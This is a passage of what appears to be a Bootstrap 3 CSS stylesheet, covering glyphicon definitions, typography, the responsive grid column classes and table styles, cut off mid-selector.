\"\\e219\";\n}\n.glyphicon-apple:before {\n content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n content: \"\\e227\";\n}\n.glyphicon-btc:before {\n content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n content: \"\\e227\";\n}\n.glyphicon-yen:before {\n content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n content: \"\\e232\";\n}\n.glyphicon-education:before {\n content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n content: \"\\e237\";\n}\n.glyphicon-oil:before {\n content: \"\\e238\";\n}\n.glyphicon-grain:before {\n content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n content: \"\\e253\";\n}\n.glyphicon-console:before {\n content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n content: \"\\e260\";\n}\n* {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\n*:before,\n*:after {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 14px;\n line-height: 1.42857143;\n color: #333333;\n background-color: #ffffff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\na {\n color: #337ab7;\n text-decoration: none;\n}\na:hover,\na:focus {\n color: #23527c;\n text-decoration: underline;\n}\na:focus {\n outline: thin dotted;\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\nfigure {\n margin: 0;\n}\nimg {\n vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n display: block;\n max-width: 100%;\n height: auto;\n}\n.img-rounded {\n border-radius: 6px;\n}\n.img-thumbnail {\n padding: 4px;\n line-height: 1.42857143;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-radius: 4px;\n -webkit-transition: all 0.2s ease-in-out;\n -o-transition: all 0.2s ease-in-out;\n transition: all 0.2s ease-in-out;\n display: inline-block;\n max-width: 100%;\n height: auto;\n}\n.img-circle {\n border-radius: 50%;\n}\nhr {\n margin-top: 20px;\n margin-bottom: 20px;\n border: 0;\n border-top: 1px solid #eeeeee;\n}\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n}\n[role=\"button\"] {\n cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n font-family: inherit;\n font-weight: 500;\n line-height: 1.1;\n color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n font-weight: normal;\n line-height: 1;\n color: #777777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n margin-top: 20px;\n margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n margin-top: 10px;\n margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n font-size: 75%;\n}\nh1,\n.h1 {\n font-size: 36px;\n}\nh2,\n.h2 {\n font-size: 30px;\n}\nh3,\n.h3 {\n font-size: 24px;\n}\nh4,\n.h4 {\n font-size: 18px;\n}\nh5,\n.h5 {\n font-size: 14px;\n}\nh6,\n.h6 {\n font-size: 12px;\n}\np {\n margin: 0 0 10px;\n}\n.lead {\n margin-bottom: 20px;\n font-size: 16px;\n font-weight: 300;\n line-height: 1.4;\n}\n@media (min-width: 768px) {\n .lead {\n font-size: 21px;\n }\n}\nsmall,\n.small {\n font-size: 85%;\n}\nmark,\n.mark {\n background-color: #fcf8e3;\n padding: .2em;\n}\n.text-left {\n text-align: left;\n}\n.text-right {\n text-align: right;\n}\n.text-center {\n text-align: center;\n}\n.text-justify {\n text-align: justify;\n}\n.text-nowrap {\n white-space: nowrap;\n}\n.text-lowercase {\n text-transform: lowercase;\n}\n.text-uppercase {\n text-transform: uppercase;\n}\n.text-capitalize {\n text-transform: capitalize;\n}\n.text-muted {\n color: #777777;\n}\n.text-primary {\n color: #337ab7;\n}\na.text-primary:hover {\n color: #286090;\n}\n.text-success {\n color: #3c763d;\n}\na.text-success:hover {\n color: #2b542c;\n}\n.text-info {\n color: #31708f;\n}\na.text-info:hover {\n color: #245269;\n}\n.text-warning {\n color: #8a6d3b;\n}\na.text-warning:hover {\n color: #66512c;\n}\n.text-danger {\n color: #a94442;\n}\na.text-danger:hover {\n color: #843534;\n}\n.bg-primary {\n color: #fff;\n background-color: #337ab7;\n}\na.bg-primary:hover {\n background-color: #286090;\n}\n.bg-success {\n background-color: #dff0d8;\n}\na.bg-success:hover {\n background-color: #c1e2b3;\n}\n.bg-info {\n background-color: #d9edf7;\n}\na.bg-info:hover {\n background-color: #afd9ee;\n}\n.bg-warning {\n background-color: #fcf8e3;\n}\na.bg-warning:hover {\n background-color: #f7ecb5;\n}\n.bg-danger {\n background-color: #f2dede;\n}\na.bg-danger:hover {\n background-color: #e4b9b9;\n}\n.page-header {\n padding-bottom: 9px;\n margin: 40px 0 20px;\n border-bottom: 1px solid #eeeeee;\n}\nul,\nol {\n margin-top: 0;\n margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n margin-bottom: 0;\n}\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n.list-inline {\n padding-left: 0;\n list-style: none;\n margin-left: -5px;\n}\n.list-inline > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n}\ndl {\n margin-top: 0;\n margin-bottom: 20px;\n}\ndt,\ndd {\n line-height: 1.42857143;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0;\n}\n@media (min-width: 768px) {\n .dl-horizontal dt {\n float: left;\n width: 160px;\n clear: left;\n text-align: right;\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n }\n .dl-horizontal dd {\n margin-left: 180px;\n }\n}\nabbr[title],\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted #777777;\n}\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\nblockquote {\n padding: 10px 20px;\n margin: 0 0 20px;\n font-size: 17.5px;\n border-left: 5px solid #eeeeee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n display: block;\n font-size: 80%;\n line-height: 1.42857143;\n color: #777777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid #eeeeee;\n border-left: 0;\n text-align: right;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n content: '\\00A0 \\2014';\n}\naddress {\n margin-bottom: 20px;\n font-style: normal;\n line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: #c7254e;\n background-color: #f9f2f4;\n border-radius: 4px;\n}\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: #ffffff;\n background-color: #333333;\n border-radius: 3px;\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n}\npre {\n display: block;\n padding: 9.5px;\n margin: 0 0 10px;\n font-size: 13px;\n line-height: 1.42857143;\n word-break: break-all;\n word-wrap: break-word;\n color: #333333;\n background-color: #f5f5f5;\n border: 1px solid #cccccc;\n border-radius: 4px;\n}\npre code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n}\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n.container {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n@media (min-width: 768px) {\n .container {\n width: 750px;\n }\n}\n@media (min-width: 992px) {\n .container {\n width: 970px;\n }\n}\n@media (min-width: 1200px) {\n .container {\n width: 1170px;\n }\n}\n.container-fluid {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n.row {\n margin-left: -15px;\n margin-right: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n position: relative;\n min-height: 1px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n float: left;\n}\n.col-xs-12 {\n width: 100%;\n}\n.col-xs-11 {\n width: 91.66666667%;\n}\n.col-xs-10 {\n width: 83.33333333%;\n}\n.col-xs-9 {\n width: 75%;\n}\n.col-xs-8 {\n width: 66.66666667%;\n}\n.col-xs-7 {\n width: 58.33333333%;\n}\n.col-xs-6 {\n width: 50%;\n}\n.col-xs-5 {\n width: 41.66666667%;\n}\n.col-xs-4 {\n width: 33.33333333%;\n}\n.col-xs-3 {\n width: 25%;\n}\n.col-xs-2 {\n width: 16.66666667%;\n}\n.col-xs-1 {\n width: 8.33333333%;\n}\n.col-xs-pull-12 {\n right: 100%;\n}\n.col-xs-pull-11 {\n right: 91.66666667%;\n}\n.col-xs-pull-10 {\n right: 83.33333333%;\n}\n.col-xs-pull-9 {\n right: 75%;\n}\n.col-xs-pull-8 {\n right: 66.66666667%;\n}\n.col-xs-pull-7 {\n right: 58.33333333%;\n}\n.col-xs-pull-6 {\n right: 50%;\n}\n.col-xs-pull-5 {\n right: 41.66666667%;\n}\n.col-xs-pull-4 {\n right: 33.33333333%;\n}\n.col-xs-pull-3 {\n right: 25%;\n}\n.col-xs-pull-2 {\n right: 16.66666667%;\n}\n.col-xs-pull-1 {\n right: 8.33333333%;\n}\n.col-xs-pull-0 {\n right: auto;\n}\n.col-xs-push-12 {\n left: 100%;\n}\n.col-xs-push-11 {\n left: 91.66666667%;\n}\n.col-xs-push-10 {\n left: 83.33333333%;\n}\n.col-xs-push-9 {\n left: 75%;\n}\n.col-xs-push-8 {\n left: 66.66666667%;\n}\n.col-xs-push-7 {\n left: 58.33333333%;\n}\n.col-xs-push-6 {\n left: 50%;\n}\n.col-xs-push-5 {\n left: 41.66666667%;\n}\n.col-xs-push-4 {\n left: 33.33333333%;\n}\n.col-xs-push-3 {\n left: 25%;\n}\n.col-xs-push-2 {\n left: 16.66666667%;\n}\n.col-xs-push-1 {\n left: 8.33333333%;\n}\n.col-xs-push-0 {\n left: auto;\n}\n.col-xs-offset-12 {\n margin-left: 100%;\n}\n.col-xs-offset-11 {\n margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n margin-left: 75%;\n}\n.col-xs-offset-8 {\n margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n margin-left: 50%;\n}\n.col-xs-offset-5 {\n margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n margin-left: 25%;\n}\n.col-xs-offset-2 {\n margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n margin-left: 0%;\n}\n@media (min-width: 768px) {\n .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n float: left;\n }\n .col-sm-12 {\n width: 100%;\n }\n .col-sm-11 {\n width: 91.66666667%;\n }\n .col-sm-10 {\n width: 83.33333333%;\n }\n .col-sm-9 {\n width: 75%;\n }\n .col-sm-8 {\n width: 66.66666667%;\n }\n .col-sm-7 {\n width: 58.33333333%;\n }\n .col-sm-6 {\n width: 50%;\n }\n .col-sm-5 {\n width: 41.66666667%;\n }\n .col-sm-4 {\n width: 33.33333333%;\n }\n .col-sm-3 {\n width: 25%;\n }\n .col-sm-2 {\n width: 16.66666667%;\n }\n .col-sm-1 {\n width: 8.33333333%;\n }\n .col-sm-pull-12 {\n right: 100%;\n }\n .col-sm-pull-11 {\n right: 91.66666667%;\n }\n .col-sm-pull-10 {\n right: 83.33333333%;\n }\n .col-sm-pull-9 {\n right: 75%;\n }\n .col-sm-pull-8 {\n right: 66.66666667%;\n }\n .col-sm-pull-7 {\n right: 58.33333333%;\n }\n .col-sm-pull-6 {\n right: 50%;\n }\n .col-sm-pull-5 {\n right: 41.66666667%;\n }\n .col-sm-pull-4 {\n right: 33.33333333%;\n }\n .col-sm-pull-3 {\n right: 25%;\n }\n .col-sm-pull-2 {\n right: 16.66666667%;\n }\n .col-sm-pull-1 {\n right: 8.33333333%;\n }\n .col-sm-pull-0 {\n right: auto;\n }\n .col-sm-push-12 {\n left: 100%;\n }\n .col-sm-push-11 {\n left: 91.66666667%;\n }\n .col-sm-push-10 {\n left: 83.33333333%;\n }\n .col-sm-push-9 {\n left: 75%;\n }\n .col-sm-push-8 {\n left: 66.66666667%;\n }\n .col-sm-push-7 {\n left: 58.33333333%;\n }\n .col-sm-push-6 {\n left: 50%;\n }\n .col-sm-push-5 {\n left: 41.66666667%;\n }\n .col-sm-push-4 {\n left: 33.33333333%;\n }\n .col-sm-push-3 {\n left: 25%;\n }\n .col-sm-push-2 {\n left: 16.66666667%;\n }\n .col-sm-push-1 {\n left: 8.33333333%;\n }\n .col-sm-push-0 {\n left: auto;\n }\n .col-sm-offset-12 {\n margin-left: 100%;\n }\n .col-sm-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-sm-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-sm-offset-9 {\n margin-left: 75%;\n }\n .col-sm-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-sm-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-sm-offset-6 {\n margin-left: 50%;\n }\n .col-sm-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-sm-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-sm-offset-3 {\n margin-left: 25%;\n }\n .col-sm-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-sm-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-sm-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 992px) {\n .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n float: left;\n }\n .col-md-12 {\n width: 100%;\n }\n .col-md-11 {\n width: 91.66666667%;\n }\n .col-md-10 {\n width: 83.33333333%;\n }\n .col-md-9 {\n width: 75%;\n }\n .col-md-8 {\n width: 66.66666667%;\n }\n .col-md-7 {\n width: 58.33333333%;\n }\n .col-md-6 {\n width: 50%;\n }\n .col-md-5 {\n width: 41.66666667%;\n }\n .col-md-4 {\n width: 33.33333333%;\n }\n .col-md-3 {\n width: 25%;\n }\n .col-md-2 {\n width: 16.66666667%;\n }\n .col-md-1 {\n width: 8.33333333%;\n }\n .col-md-pull-12 {\n right: 100%;\n }\n .col-md-pull-11 {\n right: 91.66666667%;\n }\n .col-md-pull-10 {\n right: 83.33333333%;\n }\n .col-md-pull-9 {\n right: 75%;\n }\n .col-md-pull-8 {\n right: 66.66666667%;\n }\n .col-md-pull-7 {\n right: 58.33333333%;\n }\n .col-md-pull-6 {\n right: 50%;\n }\n .col-md-pull-5 {\n right: 41.66666667%;\n }\n .col-md-pull-4 {\n right: 33.33333333%;\n }\n .col-md-pull-3 {\n right: 25%;\n }\n .col-md-pull-2 {\n right: 16.66666667%;\n }\n .col-md-pull-1 {\n right: 8.33333333%;\n }\n .col-md-pull-0 {\n right: auto;\n }\n .col-md-push-12 {\n left: 100%;\n }\n .col-md-push-11 {\n left: 91.66666667%;\n }\n .col-md-push-10 {\n left: 83.33333333%;\n }\n .col-md-push-9 {\n left: 75%;\n }\n .col-md-push-8 {\n left: 66.66666667%;\n }\n .col-md-push-7 {\n left: 58.33333333%;\n }\n .col-md-push-6 {\n left: 50%;\n }\n .col-md-push-5 {\n left: 41.66666667%;\n }\n .col-md-push-4 {\n left: 33.33333333%;\n }\n .col-md-push-3 {\n left: 25%;\n }\n .col-md-push-2 {\n left: 16.66666667%;\n }\n .col-md-push-1 {\n left: 8.33333333%;\n }\n .col-md-push-0 {\n left: auto;\n }\n .col-md-offset-12 {\n margin-left: 100%;\n }\n .col-md-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-md-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-md-offset-9 {\n margin-left: 75%;\n }\n .col-md-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-md-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-md-offset-6 {\n margin-left: 50%;\n }\n .col-md-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-md-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-md-offset-3 {\n margin-left: 25%;\n }\n .col-md-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-md-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-md-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 1200px) {\n .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n float: left;\n }\n .col-lg-12 {\n width: 100%;\n }\n .col-lg-11 {\n width: 91.66666667%;\n }\n .col-lg-10 {\n width: 83.33333333%;\n }\n .col-lg-9 {\n width: 75%;\n }\n .col-lg-8 {\n width: 66.66666667%;\n }\n .col-lg-7 {\n width: 58.33333333%;\n }\n .col-lg-6 {\n width: 50%;\n }\n .col-lg-5 {\n width: 41.66666667%;\n }\n .col-lg-4 {\n width: 33.33333333%;\n }\n .col-lg-3 {\n width: 25%;\n }\n .col-lg-2 {\n width: 16.66666667%;\n }\n .col-lg-1 {\n width: 8.33333333%;\n }\n .col-lg-pull-12 {\n right: 100%;\n }\n .col-lg-pull-11 {\n right: 91.66666667%;\n }\n .col-lg-pull-10 {\n right: 83.33333333%;\n }\n .col-lg-pull-9 {\n right: 75%;\n }\n .col-lg-pull-8 {\n right: 66.66666667%;\n }\n .col-lg-pull-7 {\n right: 58.33333333%;\n }\n .col-lg-pull-6 {\n right: 50%;\n }\n .col-lg-pull-5 {\n right: 41.66666667%;\n }\n .col-lg-pull-4 {\n right: 33.33333333%;\n }\n .col-lg-pull-3 {\n right: 25%;\n }\n .col-lg-pull-2 {\n right: 16.66666667%;\n }\n .col-lg-pull-1 {\n right: 8.33333333%;\n }\n .col-lg-pull-0 {\n right: auto;\n }\n .col-lg-push-12 {\n left: 100%;\n }\n .col-lg-push-11 {\n left: 91.66666667%;\n }\n .col-lg-push-10 {\n left: 83.33333333%;\n }\n .col-lg-push-9 {\n left: 75%;\n }\n .col-lg-push-8 {\n left: 66.66666667%;\n }\n .col-lg-push-7 {\n left: 58.33333333%;\n }\n .col-lg-push-6 {\n left: 50%;\n }\n .col-lg-push-5 {\n left: 41.66666667%;\n }\n .col-lg-push-4 {\n left: 33.33333333%;\n }\n .col-lg-push-3 {\n left: 25%;\n }\n .col-lg-push-2 {\n left: 16.66666667%;\n }\n .col-lg-push-1 {\n left: 8.33333333%;\n }\n .col-lg-push-0 {\n left: auto;\n }\n .col-lg-offset-12 {\n margin-left: 100%;\n }\n .col-lg-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-lg-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-lg-offset-9 {\n margin-left: 75%;\n }\n .col-lg-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-lg-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-lg-offset-6 {\n margin-left: 50%;\n }\n .col-lg-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-lg-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-lg-offset-3 {\n margin-left: 25%;\n }\n .col-lg-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-lg-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-lg-offset-0 {\n margin-left: 0%;\n }\n}\ntable {\n background-color: transparent;\n}\ncaption {\n padding-top: 8px;\n padding-bottom: 8px;\n color: #777777;\n text-align: left;\n}\nth {\n text-align: left;\n}\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n padding: 8px;\n line-height: 1.42857143;\n vertical-align: top;\n border-top: 1px solid #dddddd;\n}\n.table > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid #dddddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n border-top: 0;\n}\n.table > tbody + tbody {\n border-top: 2px solid #dddddd;\n}\n.table .table {\n background-color: #ffffff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n padding: 5px;\n}\n.table-bordered {\n border: 1px solid #dddddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n border: 1px solid #dddddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-column;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-cell;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > 